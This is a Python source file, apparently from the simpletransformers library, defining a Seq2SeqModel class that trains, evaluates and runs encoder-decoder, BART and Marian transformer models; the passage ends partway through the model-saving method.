[ "import json\nimport logging\nimport math\nimport os\nimport random\nimport warnings\nfrom multiprocessing import cpu_count\nfrom pathlib import Path\n\nimport numpy as np\nfrom tqdm.auto import tqdm, trange\n\nimport pandas as pd\nimport torch\nfrom simpletransformers.config.global_args import global_args\nfrom simpletransformers.seq2seq.seq2seq_utils import Seq2SeqDataset, SimpleSummarizationDataset\nfrom tensorboardX import SummaryWriter\nfrom torch.nn.utils.rnn import pad_sequence\nfrom torch.utils.data import DataLoader, Dataset, RandomSampler, SequentialSampler\nfrom torch.utils.data.distributed import DistributedSampler\nfrom transformers import AdamW, EncoderDecoderModel, EncoderDecoderConfig, get_linear_schedule_with_warmup\nfrom transformers import (\n AutoModel,\n AutoTokenizer,\n AutoConfig,\n BertTokenizer,\n BertModel,\n BertForMaskedLM,\n BertConfig,\n CamembertConfig,\n CamembertModel,\n CamembertTokenizer,\n DistilBertConfig,\n DistilBertModel,\n DistilBertTokenizer,\n ElectraConfig,\n ElectraModel,\n ElectraTokenizer,\n LongformerConfig,\n LongformerModel,\n LongformerTokenizer,\n PreTrainedModel,\n PreTrainedTokenizer,\n RobertaConfig,\n RobertaModel,\n RobertaTokenizer,\n BartForConditionalGeneration,\n BartTokenizer,\n BartConfig,\n MarianMTModel,\n MarianTokenizer,\n MarianConfig,\n)\n\ntry:\n import wandb\n\n wandb_available = True\nexcept ImportError:\n wandb_available = False\n\nlogger = logging.getLogger(__name__)\n\nMODEL_CLASSES = {\n \"auto\": (AutoConfig, AutoModel, AutoTokenizer),\n \"bart\": (BartConfig, BartForConditionalGeneration, BartTokenizer),\n \"bert\": (BertConfig, BertModel, BertTokenizer),\n \"camembert\": (CamembertConfig, CamembertModel, CamembertTokenizer),\n \"distilbert\": (DistilBertConfig, DistilBertModel, DistilBertTokenizer),\n \"electra\": (ElectraConfig, ElectraModel, ElectraTokenizer),\n \"longformer\": (LongformerConfig, LongformerModel, LongformerTokenizer),\n \"marian\": (MarianConfig, MarianMTModel, MarianTokenizer),\n \"roberta\": (RobertaConfig, RobertaModel, RobertaTokenizer),\n}\n\n\nclass Seq2SeqModel:\n def __init__(\n self,\n encoder_type=None,\n encoder_name=None,\n decoder_name=None,\n encoder_decoder_type=None,\n encoder_decoder_name=None,\n config=None,\n args=None,\n use_cuda=True,\n cuda_device=-1,\n **kwargs,\n ):\n\n \"\"\"\n Initializes a Seq2SeqModel.\n\n Args:\n encoder_type (optional): The type of model to use as the encoder.\n encoder_name (optional): The exact architecture and trained weights to use. This may be a Hugging Face Transformers compatible pre-trained model, a community model, or the path to a directory containing model files.\n decoder_name (optional): The exact architecture and trained weights to use. This may be a Hugging Face Transformers compatible pre-trained model, a community model, or the path to a directory containing model files.\n Must be the same \"size\" as the encoder model (base/base, large/large, etc.)\n encoder_decoder_type (optional): The type of encoder-decoder model. (E.g. bart)\n encoder_decoder_name (optional): The path to a directory containing the saved encoder and decoder of a Seq2SeqModel. (E.g. \"outputs/\") OR a valid BART model.\n config (optional): A configuration file to build an EncoderDecoderModel.\n args (optional): Default args will be used if this parameter is not provided. If provided, it should be a dict containing the args that should be changed in the default args.\n use_cuda (optional): Use GPU if available. Setting to False will force model to use CPU only.\n cuda_device (optional): Specific GPU that should be used. Will use the first available GPU by default.\n **kwargs (optional): For providing proxies, force_download, resume_download, cache_dir and other options specific to the 'from_pretrained' implementation where this will be supplied.\n \"\"\" # noqa: ignore flake8\"\n\n if not config:\n # if not ((encoder_name and decoder_name) or encoder_decoder_name) and not encoder_type:\n if not ((encoder_name and decoder_name) or encoder_decoder_name):\n raise ValueError(\n \"You must specify a Seq2Seq config \\t OR \\t\"\n \"encoder_type, encoder_name, and decoder_name OR \\t \\t\"\n \"encoder_type and encoder_decoder_name\"\n )\n elif not (encoder_type or encoder_decoder_type):\n raise ValueError(\n \"You must specify a Seq2Seq config \\t OR \\t\"\n \"encoder_type, encoder_name, and decoder_name \\t OR \\t\"\n \"encoder_type and encoder_decoder_name\"\n )\n\n if args and \"manual_seed\" in args:\n random.seed(args[\"manual_seed\"])\n np.random.seed(args[\"manual_seed\"])\n torch.manual_seed(args[\"manual_seed\"])\n if \"n_gpu\" in args and args[\"n_gpu\"] > 0:\n torch.cuda.manual_seed_all(args[\"manual_seed\"])\n\n self.args = {\n \"dataset_class\": None,\n \"do_sample\": False,\n \"max_steps\": -1,\n \"evaluate_generated_text\": False,\n \"num_beams\": 1,\n \"max_length\": 20,\n \"repetition_penalty\": 1.0,\n \"length_penalty\": 2.0,\n \"early_stopping\": True,\n }\n\n self.args.update(global_args)\n\n try:\n saved_model_args = self._load_model_args(encoder_decoder_name)\n if saved_model_args:\n self.args.update(saved_model_args)\n except TypeError:\n logger.info(f\"Failed to load saved args from {encoder_decoder_name}. This may be normal.\")\n\n if args:\n self.args.update(args)\n\n if use_cuda:\n if torch.cuda.is_available():\n if cuda_device == -1:\n self.device = torch.device(\"cuda\")\n else:\n self.device = torch.device(f\"cuda:{cuda_device}\")\n else:\n raise ValueError(\n \"'use_cuda' set to True when cuda is unavailable.\"\n \"Make sure CUDA is available or set `use_cuda=False`.\"\n )\n else:\n self.device = \"cpu\"\n\n self.results = {}\n\n if not use_cuda:\n self.args[\"fp16\"] = False\n\n # config = EncoderDecoderConfig.from_encoder_decoder_configs(config, config)\n if encoder_decoder_type:\n config_class, model_class, tokenizer_class = MODEL_CLASSES[encoder_decoder_type]\n else:\n config_class, model_class, tokenizer_class = MODEL_CLASSES[encoder_type]\n\n if encoder_decoder_type in [\"bart\", \"marian\"]:\n self.model = model_class.from_pretrained(encoder_decoder_name)\n if encoder_decoder_type == \"bart\":\n self.encoder_tokenizer = tokenizer_class.from_pretrained(encoder_decoder_name)\n elif encoder_decoder_type == \"marian\":\n if \"base_marian_model_name\" in self.args:\n self.encoder_tokenizer = tokenizer_class.from_pretrained(self.args[\"base_marian_model_name\"])\n else:\n self.encoder_tokenizer = tokenizer_class.from_pretrained(encoder_decoder_name)\n self.decoder_tokenizer = self.encoder_tokenizer\n self.config = self.model.config\n else:\n if encoder_decoder_name:\n # self.model = EncoderDecoderModel.from_pretrained(encoder_decoder_name)\n self.model = EncoderDecoderModel.from_encoder_decoder_pretrained(\n os.path.join(encoder_decoder_name, \"encoder\"), os.path.join(encoder_decoder_name, \"decoder\")\n )\n self.model.encoder = model_class.from_pretrained(os.path.join(encoder_decoder_name, \"encoder\"))\n self.model.decoder = BertForMaskedLM.from_pretrained(os.path.join(encoder_decoder_name, \"decoder\"))\n self.encoder_tokenizer = tokenizer_class.from_pretrained(os.path.join(encoder_decoder_name, \"encoder\"))\n self.decoder_tokenizer = BertTokenizer.from_pretrained(os.path.join(encoder_decoder_name, \"decoder\"))\n else:\n self.model = EncoderDecoderModel.from_encoder_decoder_pretrained(\n encoder_name, decoder_name, config=config\n )\n self.encoder_tokenizer = tokenizer_class.from_pretrained(encoder_name)\n self.decoder_tokenizer = BertTokenizer.from_pretrained(decoder_name)\n self.encoder_config = self.model.config.encoder\n self.decoder_config = self.model.config.decoder\n\n if self.args[\"wandb_project\"] and not wandb_available:\n warnings.warn(\"wandb_project specified but wandb is not available. Wandb disabled.\")\n self.args[\"wandb_project\"] = None\n\n if encoder_decoder_name:\n self.args[\"model_name\"] = encoder_decoder_name\n\n # Checking if we are loading from a saved model or using a pre-trained model\n if not saved_model_args and encoder_decoder_type == \"marian\":\n # Need to store base pre-trained model name to get the tokenizer when loading a saved model\n self.args[\"base_marian_model_name\"] = encoder_decoder_name\n\n elif encoder_name and decoder_name:\n self.args[\"model_name\"] = encoder_name + \"-\" + decoder_name\n else:\n self.args[\"model_name\"] = \"encoder-decoder\"\n\n if encoder_decoder_type:\n self.args[\"model_type\"] = encoder_decoder_type\n elif encoder_type:\n self.args[\"model_type\"] = encoder_type + \"-bert\"\n else:\n self.args[\"model_type\"] = \"encoder-decoder\"\n\n def train_model(\n self, train_data, output_dir=None, show_running_loss=True, args=None, eval_data=None, verbose=True, **kwargs,\n ):\n \"\"\"\n Trains the model using 'train_data'\n\n Args:\n train_data: Pandas DataFrame containing the 2 columns - `input_text`, `target_text`.\n - `input_text`: The input text sequence.\n - `target_text`: The target sequence \n output_dir: The directory where model files will be saved. If not given, self.args['output_dir'] will be used.\n show_running_loss (optional): Set to False to prevent running loss from being printed to console. Defaults to True.\n args (optional): Optional changes to the args dict of the model. Any changes made will persist for the model.\n eval_data (optional): A DataFrame against which evaluation will be performed when evaluate_during_training is enabled. Is required if evaluate_during_training is enabled.\n **kwargs: Additional metrics that should be used. Pass in the metrics as keyword arguments (name of metric: function to use).\n A metric function should take in two parameters. The first parameter will be the true labels, and the second parameter will be the predictions. Both inputs\n will be lists of strings. Note that this will slow down training significantly as the predicted sequences need to be generated.\n\n Returns:\n None\n \"\"\" # noqa: ignore flake8\"\n\n if args:\n self.args.update(args)\n\n # if self.args[\"silent\"]:\n # show_running_loss = False\n\n if self.args[\"evaluate_during_training\"] and eval_data is None:\n raise ValueError(\n \"evaluate_during_training is enabled but eval_data is not specified.\"\n \" Pass eval_data to model.train_model() if using evaluate_during_training.\"\n )\n\n if not output_dir:\n output_dir = self.args[\"output_dir\"]\n\n if os.path.exists(output_dir) and os.listdir(output_dir) and not self.args[\"overwrite_output_dir\"]:\n raise ValueError(\n \"Output directory ({}) already exists and is not empty.\"\n \" Set args['overwrite_output_dir'] = True to overcome.\".format(output_dir)\n )\n\n self._move_model_to_device()\n\n train_dataset = self.load_and_cache_examples(train_data, verbose=verbose)\n\n os.makedirs(output_dir, exist_ok=True)\n\n global_step, tr_loss = self.train(\n train_dataset,\n output_dir,\n show_running_loss=show_running_loss,\n eval_data=eval_data,\n verbose=verbose,\n **kwargs,\n )\n\n self._save_model(self.args[\"output_dir\"], model=self.model)\n\n # model_to_save = self.model.module if hasattr(self.model, \"module\") else self.model\n # model_to_save.save_pretrained(output_dir)\n # self.encoder_tokenizer.save_pretrained(output_dir)\n # self.decoder_tokenizer.save_pretrained(output_dir)\n # torch.save(self.args, os.path.join(output_dir, \"training_args.bin\"))\n\n if verbose:\n logger.info(\" Training of {} model complete. Saved to {}.\".format(self.args[\"model_name\"], output_dir))\n\n def train(\n self, train_dataset, output_dir, show_running_loss=True, eval_data=None, verbose=True, **kwargs,\n ):\n \"\"\"\n Trains the model on train_dataset.\n\n Utility function to be used by the train_model() method. Not intended to be used directly.\n \"\"\"\n\n model = self.model\n args = self.args\n\n tb_writer = SummaryWriter(logdir=args[\"tensorboard_dir\"])\n train_sampler = RandomSampler(train_dataset)\n train_dataloader = DataLoader(train_dataset, sampler=train_sampler, batch_size=args[\"train_batch_size\"])\n\n if args[\"max_steps\"] > 0:\n t_total = args[\"max_steps\"]\n args[\"num_train_epochs\"] = (\n args[\"max_steps\"] // (len(train_dataloader) // args[\"gradient_accumulation_steps\"]) + 1\n )\n else:\n t_total = len(train_dataloader) // args[\"gradient_accumulation_steps\"] * args[\"num_train_epochs\"]\n\n no_decay = [\"bias\", \"LayerNorm.weight\"]\n optimizer_grouped_parameters = [\n {\n \"params\": [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)],\n \"weight_decay\": args[\"weight_decay\"],\n },\n {\"params\": [p for n, p in model.named_parameters() if any(nd in n for nd in no_decay)]},\n ]\n\n warmup_steps = math.ceil(t_total * args[\"warmup_ratio\"])\n args[\"warmup_steps\"] = warmup_steps if args[\"warmup_steps\"] == 0 else args[\"warmup_steps\"]\n\n # TODO: Use custom optimizer like with BertSum?\n optimizer = AdamW(optimizer_grouped_parameters, lr=args[\"learning_rate\"], eps=args[\"adam_epsilon\"])\n scheduler = get_linear_schedule_with_warmup(\n optimizer, num_warmup_steps=args[\"warmup_steps\"], num_training_steps=t_total\n )\n\n if (\n args[\"model_name\"]\n and os.path.isfile(os.path.join(args[\"model_name\"], \"optimizer.pt\"))\n and os.path.isfile(os.path.join(args[\"model_name\"], \"scheduler.pt\"))\n ):\n # Load in optimizer and scheduler states\n optimizer.load_state_dict(torch.load(os.path.join(args[\"model_name\"], \"optimizer.pt\")))\n scheduler.load_state_dict(torch.load(os.path.join(args[\"model_name\"], \"scheduler.pt\")))\n\n if args[\"fp16\"]:\n try:\n from apex import amp\n except ImportError:\n raise ImportError(\"Please install apex from https://www.github.com/nvidia/apex to use fp16 training.\")\n\n model, optimizer = amp.initialize(model, optimizer, opt_level=args[\"fp16_opt_level\"])\n\n if args[\"n_gpu\"] > 1:\n model = torch.nn.DataParallel(model)\n\n logger.info(\" Training started\")\n\n global_step = 0\n tr_loss, logging_loss = 0.0, 0.0\n model.zero_grad()\n train_iterator = trange(int(args[\"num_train_epochs\"]), desc=\"Epoch\", disable=args[\"silent\"], mininterval=0)\n epoch_number = 0\n best_eval_metric = None\n early_stopping_counter = 0\n steps_trained_in_current_epoch = 0\n epochs_trained = 0\n\n if args[\"model_name\"] and os.path.exists(args[\"model_name\"]):\n try:\n # set global_step to gobal_step of last saved checkpoint from model path\n checkpoint_suffix = args[\"model_name\"].split(\"/\")[-1].split(\"-\")\n if len(checkpoint_suffix) > 2:\n checkpoint_suffix = checkpoint_suffix[1]\n else:\n checkpoint_suffix = checkpoint_suffix[-1]\n global_step = int(checkpoint_suffix)\n epochs_trained = global_step // (len(train_dataloader) // args[\"gradient_accumulation_steps\"])\n steps_trained_in_current_epoch = global_step % (\n len(train_dataloader) // args[\"gradient_accumulation_steps\"]\n )\n\n logger.info(\" Continuing training from checkpoint, will skip to saved global_step\")\n logger.info(\" Continuing training from epoch %d\", epochs_trained)\n logger.info(\" Continuing training from global step %d\", global_step)\n logger.info(\" Will skip the first %d steps in the current epoch\", steps_trained_in_current_epoch)\n except ValueError:\n logger.info(\" Starting fine-tuning.\")\n\n if args[\"evaluate_during_training\"]:\n training_progress_scores = self._create_training_progress_scores(**kwargs)\n\n if args[\"wandb_project\"]:\n wandb.init(project=args[\"wandb_project\"], config={**args}, **args[\"wandb_kwargs\"])\n wandb.watch(self.model)\n\n model.train()\n for current_epoch in train_iterator:\n if epochs_trained > 0:\n epochs_trained -= 1\n continue\n # epoch_iterator = tqdm(train_dataloader, desc=\"Iteration\")\n for step, batch in enumerate(tqdm(train_dataloader, desc=\"Current iteration\", disable=args[\"silent\"])):\n if steps_trained_in_current_epoch > 0:\n steps_trained_in_current_epoch -= 1\n continue\n # batch = tuple(t.to(device) for t in batch)\n\n inputs = self._get_inputs_dict(batch)\n outputs = model(**inputs)\n # model outputs are always tuple in pytorch-transformers (see doc)\n loss = outputs[0]\n\n if args[\"n_gpu\"] > 1:\n loss = loss.mean() # mean() to average on multi-gpu parallel training\n\n current_loss = loss.item()\n\n if show_running_loss:\n print(\"\\rRunning loss: %f\" % loss, end=\"\")\n\n if args[\"gradient_accumulation_steps\"] > 1:\n loss = loss / args[\"gradient_accumulation_steps\"]\n\n if args[\"fp16\"]:\n with amp.scale_loss(loss, optimizer) as scaled_loss:\n scaled_loss.backward()\n # torch.nn.utils.clip_grad_norm_(\n # amp.master_params(optimizer), args[\"max_grad_norm\"]\n # )\n else:\n loss.backward()\n # torch.nn.utils.clip_grad_norm_(\n # model.parameters(), args[\"max_grad_norm\"]\n # )\n\n tr_loss += loss.item()\n if (step + 1) % args[\"gradient_accumulation_steps\"] == 0:\n if args[\"fp16\"]:\n torch.nn.utils.clip_grad_norm_(amp.master_params(optimizer), args[\"max_grad_norm\"])\n else:\n torch.nn.utils.clip_grad_norm_(model.parameters(), args[\"max_grad_norm\"])\n\n optimizer.step()\n scheduler.step() # Update learning rate schedule\n model.zero_grad()\n global_step += 1\n\n if args[\"logging_steps\"] > 0 and global_step % args[\"logging_steps\"] == 0:\n # Log metrics\n tb_writer.add_scalar(\"lr\", scheduler.get_lr()[0], global_step)\n tb_writer.add_scalar(\"loss\", (tr_loss - logging_loss) / args[\"logging_steps\"], global_step)\n logging_loss = tr_loss\n if args[\"wandb_project\"]:\n wandb.log(\n {\n \"Training loss\": current_loss,\n \"lr\": scheduler.get_lr()[0],\n \"global_step\": global_step,\n }\n )\n\n if args[\"save_steps\"] > 0 and global_step % args[\"save_steps\"] == 0:\n # Save model checkpoint\n output_dir_current = os.path.join(output_dir, \"checkpoint-{}\".format(global_step))\n\n self._save_model(output_dir_current, optimizer, scheduler, model=model)\n\n if args[\"evaluate_during_training\"] and (\n args[\"evaluate_during_training_steps\"] > 0\n and global_step % args[\"evaluate_during_training_steps\"] == 0\n ):\n # Only evaluate when single GPU otherwise metrics may not average well\n results = self.eval_model(\n eval_data,\n verbose=verbose and args[\"evaluate_during_training_verbose\"],\n silent=args[\"evaluate_during_training_silent\"],\n **kwargs,\n )\n for key, value in results.items():\n tb_writer.add_scalar(\"eval_{}\".format(key), value, global_step)\n\n output_dir_current = os.path.join(output_dir, \"checkpoint-{}\".format(global_step))\n\n if args[\"save_eval_checkpoints\"]:\n self._save_model(output_dir_current, optimizer, scheduler, model=model, results=results)\n\n training_progress_scores[\"global_step\"].append(global_step)\n training_progress_scores[\"train_loss\"].append(current_loss)\n for key in results:\n training_progress_scores[key].append(results[key])\n report = pd.DataFrame(training_progress_scores)\n report.to_csv(\n os.path.join(args[\"output_dir\"], \"training_progress_scores.csv\"), index=False,\n )\n\n if args[\"wandb_project\"]:\n wandb.log(self._get_last_metrics(training_progress_scores))\n\n if not best_eval_metric:\n best_eval_metric = results[args[\"early_stopping_metric\"]]\n if args[\"save_best_model\"]:\n self._save_model(\n args[\"best_model_dir\"], optimizer, scheduler, model=model, results=results\n )\n if best_eval_metric and args[\"early_stopping_metric_minimize\"]:\n if (\n results[args[\"early_stopping_metric\"]] - best_eval_metric\n < args[\"early_stopping_delta\"]\n ):\n best_eval_metric = results[args[\"early_stopping_metric\"]]\n if args[\"save_best_model\"]:\n self._save_model(\n args[\"best_model_dir\"], optimizer, scheduler, model=model, results=results\n )\n early_stopping_counter = 0\n else:\n if args[\"use_early_stopping\"]:\n if early_stopping_counter < args[\"early_stopping_patience\"]:\n early_stopping_counter += 1\n if verbose:\n logger.info(f\" No improvement in {args['early_stopping_metric']}\")\n logger.info(f\" Current step: {early_stopping_counter}\")\n logger.info(f\" Early stopping patience: {args['early_stopping_patience']}\")\n else:\n if verbose:\n logger.info(\n f\" Patience of {args['early_stopping_patience']} steps reached\"\n )\n logger.info(\" Training terminated.\")\n train_iterator.close()\n return global_step, tr_loss / global_step\n else:\n if (\n results[args[\"early_stopping_metric\"]] - best_eval_metric\n > args[\"early_stopping_delta\"]\n ):\n best_eval_metric = results[args[\"early_stopping_metric\"]]\n if args[\"save_best_model\"]:\n self._save_model(\n args[\"best_model_dir\"], optimizer, scheduler, model=model, results=results\n )\n early_stopping_counter = 0\n else:\n if args[\"use_early_stopping\"]:\n if early_stopping_counter < args[\"early_stopping_patience\"]:\n early_stopping_counter += 1\n if verbose:\n logger.info(f\" No improvement in {args['early_stopping_metric']}\")\n logger.info(f\" Current step: {early_stopping_counter}\")\n logger.info(f\" Early stopping patience: {args['early_stopping_patience']}\")\n else:\n if verbose:\n logger.info(\n f\" Patience of {args['early_stopping_patience']} steps reached\"\n )\n logger.info(\" Training terminated.\")\n train_iterator.close()\n return global_step, tr_loss / global_step\n\n epoch_number += 1\n output_dir_current = os.path.join(output_dir, \"checkpoint-{}-epoch-{}\".format(global_step, epoch_number))\n\n if args[\"save_model_every_epoch\"] or args[\"evaluate_during_training\"]:\n os.makedirs(output_dir_current, exist_ok=True)\n\n if args[\"save_model_every_epoch\"]:\n self._save_model(output_dir_current, optimizer, scheduler, model=model)\n\n if args[\"evaluate_during_training\"]:\n results = self.eval_model(\n eval_data,\n verbose=verbose and args[\"evaluate_during_training_verbose\"],\n silent=args[\"evaluate_during_training_silent\"],\n **kwargs,\n )\n\n if args[\"save_eval_checkpoints\"]:\n self._save_model(output_dir_current, optimizer, scheduler, results=results)\n\n training_progress_scores[\"global_step\"].append(global_step)\n training_progress_scores[\"train_loss\"].append(current_loss)\n for key in results:\n training_progress_scores[key].append(results[key])\n report = pd.DataFrame(training_progress_scores)\n report.to_csv(os.path.join(args[\"output_dir\"], \"training_progress_scores.csv\"), index=False)\n\n if args[\"wandb_project\"]:\n wandb.log(self._get_last_metrics(training_progress_scores))\n\n if not best_eval_metric:\n best_eval_metric = results[args[\"early_stopping_metric\"]]\n if args[\"save_best_model\"]:\n self._save_model(args[\"best_model_dir\"], optimizer, scheduler, model=model, results=results)\n if best_eval_metric and args[\"early_stopping_metric_minimize\"]:\n if results[args[\"early_stopping_metric\"]] - best_eval_metric < args[\"early_stopping_delta\"]:\n best_eval_metric = results[args[\"early_stopping_metric\"]]\n if args[\"save_best_model\"]:\n self._save_model(\n args[\"best_model_dir\"], optimizer, scheduler, model=model, results=results\n )\n early_stopping_counter = 0\n else:\n if args[\"use_early_stopping\"] and args[\"early_stopping_consider_epochs\"]:\n if early_stopping_counter < args[\"early_stopping_patience\"]:\n early_stopping_counter += 1\n if verbose:\n logger.info(f\" No improvement in {args['early_stopping_metric']}\")\n logger.info(f\" Current step: {early_stopping_counter}\")\n logger.info(f\" Early stopping patience: {args['early_stopping_patience']}\")\n else:\n if verbose:\n logger.info(f\" Patience of {args['early_stopping_patience']} steps reached\")\n logger.info(\" Training terminated.\")\n train_iterator.close()\n return global_step, tr_loss / global_step\n else:\n if results[args[\"early_stopping_metric\"]] - best_eval_metric > args[\"early_stopping_delta\"]:\n best_eval_metric = results[args[\"early_stopping_metric\"]]\n if args[\"save_best_model\"]:\n self._save_model(\n args[\"best_model_dir\"], optimizer, scheduler, model=model, results=results\n )\n early_stopping_counter = 0\n else:\n if args[\"use_early_stopping\"] and args[\"early_stopping_consider_epochs\"]:\n if early_stopping_counter < args[\"early_stopping_patience\"]:\n early_stopping_counter += 1\n if verbose:\n logger.info(f\" No improvement in {args['early_stopping_metric']}\")\n logger.info(f\" Current step: {early_stopping_counter}\")\n logger.info(f\" Early stopping patience: {args['early_stopping_patience']}\")\n else:\n if verbose:\n logger.info(f\" Patience of {args['early_stopping_patience']} steps reached\")\n logger.info(\" Training terminated.\")\n train_iterator.close()\n return global_step, tr_loss / global_step\n\n return global_step, tr_loss / global_step\n\n def eval_model(self, eval_data, output_dir=None, verbose=True, silent=False, **kwargs):\n \"\"\"\n Evaluates the model on eval_data. Saves results to output_dir.\n\n Args:\n eval_data: Pandas DataFrame containing the 2 columns - `input_text`, `target_text`.\n - `input_text`: The input text sequence.\n - `target_text`: The target sequence \n output_dir: The directory where model files will be saved. If not given, self.args['output_dir'] will be used.\n verbose: If verbose, results will be printed to the console on completion of evaluation.\n silent: If silent, tqdm progress bars will be hidden.\n **kwargs: Additional metrics that should be used. Pass in the metrics as keyword arguments (name of metric: function to use).\n A metric function should take in two parameters. The first parameter will be the true labels, and the second parameter will be the predictions. Both inputs\n will be lists of strings. Note that this will slow down evaluation significantly as the predicted sequences need to be generated.\n Returns:\n results: Dictionary containing evaluation results.\n \"\"\" # noqa: ignore flake8\"\n\n if not output_dir:\n output_dir = self.args[\"output_dir\"]\n\n self._move_model_to_device()\n\n eval_dataset = self.load_and_cache_examples(eval_data, evaluate=True, verbose=verbose, silent=silent)\n os.makedirs(output_dir, exist_ok=True)\n\n result = self.evaluate(eval_dataset, output_dir, verbose=verbose, silent=silent, **kwargs)\n self.results.update(result)\n\n if self.args[\"evaluate_generated_text\"]:\n to_predict = eval_data[\"input_text\"].tolist()\n preds = self.predict(to_predict)\n\n result = self.compute_metrics(eval_data[\"target_text\"].tolist(), preds, **kwargs)\n self.results.update(result)\n\n if verbose:\n logger.info(self.results)\n\n return self.results\n\n def evaluate(self, eval_dataset, output_dir, verbose=True, silent=False, **kwargs):\n \"\"\"\n Evaluates the model on eval_dataset.\n\n Utility function to be used by the eval_model() method. Not intended to be used directly.\n \"\"\"\n\n model = self.model\n args = self.args\n eval_output_dir = output_dir\n\n results = {}\n\n eval_sampler = SequentialSampler(eval_dataset)\n eval_dataloader = DataLoader(eval_dataset, sampler=eval_sampler, batch_size=args[\"eval_batch_size\"])\n\n if args[\"n_gpu\"] > 1:\n model = torch.nn.DataParallel(model)\n\n eval_loss = 0.0\n nb_eval_steps = 0\n model.eval()\n\n for batch in tqdm(eval_dataloader, disable=args[\"silent\"] or silent):\n # batch = tuple(t.to(device) for t in batch)\n\n inputs = self._get_inputs_dict(batch)\n with torch.no_grad():\n outputs = model(**inputs)\n loss = outputs[0]\n eval_loss += loss.mean().item()\n nb_eval_steps += 1\n\n eval_loss = eval_loss / nb_eval_steps\n\n results[\"eval_loss\"] = eval_loss\n\n output_eval_file = os.path.join(eval_output_dir, \"eval_results.txt\")\n with open(output_eval_file, \"w\") as writer:\n for key in sorted(results.keys()):\n writer.write(\"{} = {}\\n\".format(key, str(results[key])))\n\n return results\n\n def predict(self, to_predict):\n \"\"\"\n Performs predictions on a list of text.\n\n Args:\n to_predict: A python list of text (str) to be sent to the model for prediction. Note that the prefix should be prepended to the text.\n\n Returns:\n preds: A python list of the generated sequences.\n \"\"\" # noqa: ignore flake8\"\n\n self._move_model_to_device()\n\n all_outputs = []\n # Batching\n for batch in [\n to_predict[i : i + self.args[\"eval_batch_size\"]]\n for i in range(0, len(to_predict), self.args[\"eval_batch_size\"])\n ]:\n if self.args[\"model_type\"] == \"marian\":\n input_ids = self.encoder_tokenizer.prepare_translation_batch(\n batch, max_length=self.args[\"max_seq_length\"], pad_to_max_length=True, return_tensors=\"pt\",\n )[\"input_ids\"]\n else:\n input_ids = self.encoder_tokenizer.batch_encode_plus(\n batch, max_length=self.args[\"max_seq_length\"], pad_to_max_length=True, return_tensors=\"pt\",\n )[\"input_ids\"]\n input_ids = input_ids.to(self.device)\n\n if self.args[\"model_type\"] in [\"bart\", \"marian\"]:\n outputs = self.model.generate(\n input_ids=input_ids,\n num_beams=self.args[\"num_beams\"],\n max_length=self.args[\"max_length\"],\n length_penalty=self.args[\"length_penalty\"],\n early_stopping=self.args[\"early_stopping\"],\n repetition_penalty=self.args[\"repetition_penalty\"],\n do_sample=self.args[\"do_sample\"],\n )\n else:\n outputs = self.model.generate(\n input_ids=input_ids,\n decoder_start_token_id=self.model.config.decoder.pad_token_id,\n num_beams=self.args[\"num_beams\"],\n max_length=self.args[\"max_length\"],\n length_penalty=self.args[\"length_penalty\"],\n early_stopping=self.args[\"early_stopping\"],\n repetition_penalty=self.args[\"repetition_penalty\"],\n do_sample=self.args[\"do_sample\"],\n )\n\n all_outputs.extend(outputs)\n\n return [\n self.decoder_tokenizer.decode(output_id, skip_special_tokens=True, clean_up_tokenization_spaces=True)\n for output_id in all_outputs\n ]\n\n def compute_metrics(self, labels, preds, **kwargs):\n \"\"\"\n Computes the evaluation metrics for the model predictions.\n\n Args:\n labels: List of target sequences\n preds: List of model generated outputs\n **kwargs: Custom metrics that should be used. Pass in the metrics as keyword arguments (name of metric: function to use).\n A metric function should take in two parameters. The first parameter will be the true labels, and the second parameter will be the predictions. Both inputs\n will be lists of strings. Note that this will slow down evaluation significantly as the predicted sequences need to be generated.\n\n Returns:\n result: Dictionary containing evaluation results.\n \"\"\" # noqa: ignore flake8\"\n assert len(labels) == len(preds)\n\n results = {}\n for metric, func in kwargs.items():\n results[metric] = func(labels, preds)\n\n return results\n\n def load_and_cache_examples(self, data, evaluate=False, no_cache=False, verbose=True, silent=False):\n \"\"\"\n Creates a T5Dataset from data.\n\n Utility function for train() and eval() methods. Not intended to be used directly.\n \"\"\"\n\n encoder_tokenizer = self.encoder_tokenizer\n decoder_tokenizer = self.decoder_tokenizer\n args = self.args\n\n if not no_cache:\n no_cache = args[\"no_cache\"]\n\n os.makedirs(self.args[\"cache_dir\"], exist_ok=True)\n\n mode = \"dev\" if evaluate else \"train\"\n\n if args[\"dataset_class\"]:\n CustomDataset = args[\"dataset_class\"]\n return CustomDataset(encoder_tokenizer, decoder_tokenizer, args, data, mode)\n else:\n if args[\"model_type\"] in [\"bart\", \"marian\"]:\n return SimpleSummarizationDataset(encoder_tokenizer, self.args, data, mode)\n else:\n return Seq2SeqDataset(encoder_tokenizer, decoder_tokenizer, self.args, data, mode,)\n\n def _create_training_progress_scores(self, **kwargs):\n extra_metrics = {key: [] for key in kwargs}\n training_progress_scores = {\n \"global_step\": [],\n \"eval_loss\": [],\n \"train_loss\": [],\n **extra_metrics,\n }\n\n return training_progress_scores\n\n def _get_last_metrics(self, metric_values):\n return {metric: values[-1] for metric, values in metric_values.items()}\n\n def _save_model(self, output_dir=None, optimizer=None, scheduler=None, model=None, results=None):\n if not output_dir:\n output_dir = self.args[\"output_dir\"]\n os.makedirs(output_dir, exist_ok=True)\n\n logger.info(f\"Saving model into {output_dir}\")\n\n if model and not self.args[\"no_save\"]:\n # Take care of distributed/parallel training\n model_to_save = model.module if hasattr(model, \"module\") else model\n self._save_model_args(output_dir)\n\n if self.args[\"model_type\"] in [\"bart\", \"marian\"]:\n os.makedirs(os.path.join(output_dir), exist_ok=True)\n model_to_save.save_pretrained(output_dir)\n self.config.save_pretrained(output_dir)\n if self.args[\"model_type\"] == \"bart\":\n self.encoder_tokenizer.save_pretrained(output_dir)\n else:\n os.makedirs(os.path.join(output_dir, \"encoder\"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, \"decoder\"), exist_ok=True)\n self.encoder_config.save_pretrained(os.path.join(output_dir, \"encoder\"))\n self.decoder_config.save_pretrained(os.path.join(output_dir, \"decoder\"))\n\n model_to_save = (\n self.model.encoder.module if hasattr(self.model.encoder, \"module\") else self.model.encoder\n )\n model_to_save.save_pretrained(os.path.join(output_dir, \"encoder\"))\n\n model_to_save = (\n self.model.decoder.module if hasattr(self.model.decoder, \"module\") else self.model.decoder\n )\n\n model_to_save.save_pretrained(os.path.join(output_dir, \"decoder\"))\n\n self.encoder_tokenizer.save_pretrained(os.path.join(output_dir, \"encoder\"))\n 